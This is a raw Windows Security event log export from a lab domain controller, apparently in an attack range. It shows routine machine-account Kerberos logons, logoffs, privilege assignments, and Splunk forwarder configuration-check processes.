	Account Domain:		ATTACKRANGE
	Logon ID:		0xF9723

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250025
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF9723
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64376

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250024
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF9723

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250023
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF96BC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250022
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF96BC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64375

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250021
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF96BC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250020
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF965B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250019
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF965B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64374

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250018
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF965B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250054
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1178
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250053
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1164
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1150
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250052
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1150
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250051
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x113c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1128
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250050
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1128
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250049
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1114
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1100
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250048
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1100
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250047
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFA173

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250046
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFA173
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64381

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250045
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFA173

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250044
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFA10B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250043
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFA10B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64380

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250042
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFA10B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250041
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFA0A5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250040
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFA0A5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64379

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250039
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFA0A5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250038
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFA03E

Logon Type:			3

